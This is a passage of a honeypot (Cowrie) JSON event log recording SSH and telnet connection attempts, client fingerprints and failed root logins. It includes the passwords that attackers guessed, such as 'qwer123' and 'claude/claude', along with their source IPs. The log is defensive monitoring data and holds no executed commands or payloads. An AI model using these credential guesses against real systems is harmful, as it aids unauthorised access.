{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:03.100597Z","src_ip":"43.228.112.254","session":"447d51cbb392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:03.319880Z","src_ip":"43.228.112.254","session":"447d51cbb392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0n1g@2020","message":"login attempt [root/k0n1g@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:04.228576Z","src_ip":"43.228.112.254","session":"447d51cbb392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:05.451527Z","src_ip":"43.228.112.254","session":"447d51cbb392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.173.247.254","src_port":53368,"dst_ip":"159.203.135.109","dst_port":22,"session":"51c05fb8396b","protocol":"ssh","message":"New connection: 31.173.247.254:53368 (159.203.135.109:22) [session: 51c05fb8396b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:29.563444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:29.566616Z","src_ip":"31.173.247.254","session":"51c05fb8396b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:29.831203Z","src_ip":"31.173.247.254","session":"51c05fb8396b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:30.844396Z","src_ip":"31.173.247.254","session":"51c05fb8396b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:32.103991Z","src_ip":"31.173.247.254","session":"51c05fb8396b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":47598,"dst_ip":"159.203.135.109","dst_port":22,"session":"2032c62ee3db","protocol":"ssh","message":"New connection: 147.45.197.250:47598 (159.203.135.109:22) [session: 2032c62ee3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:34.367517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:34.372230Z","src_ip":"147.45.197.250","session":"2032c62ee3db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:34.465633Z","src_ip":"147.45.197.250","session":"2032c62ee3db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kifj9n7bfu","message":"login attempt [root/kifj9n7bfu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:34.746243Z","src_ip":"147.45.197.250","session":"2032c62ee3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:35.842923Z","src_ip":"147.45.197.250","session":"2032c62ee3db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.154.2.19","src_port":59268,"dst_ip":"10.17.0.5","dst_port":22,"session":"90b5e39da846","protocol":"ssh","message":"New connection: 8.154.2.19:59268 (10.17.0.5:22) [session: 90b5e39da846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:46.967235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:46.972954Z","src_ip":"8.154.2.19","session":"90b5e39da846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:47.212220Z","src_ip":"8.154.2.19","session":"90b5e39da846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hui123","message":"login attempt [root/hui123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:48.197779Z","src_ip":"8.154.2.19","session":"90b5e39da846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:49.439724Z","src_ip":"8.154.2.19","session":"90b5e39da846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41526,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4ce723f089c","protocol":"telnet","message":"New connection: 192.119.13.58:41526 (10.17.0.5:23) [session: b4ce723f089c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:31:53.647209Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":44768,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c12fa4095b9","protocol":"ssh","message":"New connection: 43.130.57.37:44768 (10.17.0.5:22) [session: 7c12fa4095b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:06.201385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:06.208640Z","src_ip":"43.130.57.37","session":"7c12fa4095b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:06.278939Z","src_ip":"43.130.57.37","session":"7c12fa4095b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coach","message":"login attempt [root/coach] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:06.585414Z","src_ip":"43.130.57.37","session":"7c12fa4095b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:07.657133Z","src_ip":"43.130.57.37","session":"7c12fa4095b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.154.2.19","src_port":35898,"dst_ip":"10.17.0.5","dst_port":22,"session":"de2234713638","protocol":"ssh","message":"New connection: 8.154.2.19:35898 (10.17.0.5:22) [session: de2234713638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:19.774460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:19.779222Z","src_ip":"8.154.2.19","session":"de2234713638","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:20.017135Z","src_ip":"8.154.2.19","session":"de2234713638","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123","message":"login attempt [root/qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:21.003172Z","src_ip":"8.154.2.19","session":"de2234713638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:22.243820Z","src_ip":"8.154.2.19","session":"de2234713638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":49356,"dst_ip":"10.17.0.5","dst_port":22,"session":"959f741a15d9","protocol":"ssh","message":"New connection: 43.228.112.254:49356 (10.17.0.5:22) [session: 959f741a15d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:26.055101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:26.059399Z","src_ip":"43.228.112.254","session":"959f741a15d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:26.283270Z","src_ip":"43.228.112.254","session":"959f741a15d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:27.196594Z","src_ip":"43.228.112.254","session":"959f741a15d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:28.420841Z","src_ip":"43.228.112.254","session":"959f741a15d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.44177293777466,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:29.088848Z","src_ip":"192.119.13.58","session":"b4ce723f089c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.154.2.19","src_port":50798,"dst_ip":"10.17.0.5","dst_port":22,"session":"a670c2e1da0b","protocol":"ssh","message":"New connection: 8.154.2.19:50798 (10.17.0.5:22) [session: a670c2e1da0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:49.000167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:49.004628Z","src_ip":"8.154.2.19","session":"a670c2e1da0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:49.246096Z","src_ip":"8.154.2.19","session":"a670c2e1da0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:50.257702Z","src_ip":"8.154.2.19","session":"a670c2e1da0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:32:51.500654Z","src_ip":"8.154.2.19","session":"a670c2e1da0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":41192,"dst_ip":"10.17.0.5","dst_port":22,"session":"03c1b9067f0f","protocol":"ssh","message":"New connection: 109.172.54.111:41192 (10.17.0.5:22) [session: 03c1b9067f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:10.987882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:33:10.992458Z","src_ip":"109.172.54.111","session":"03c1b9067f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@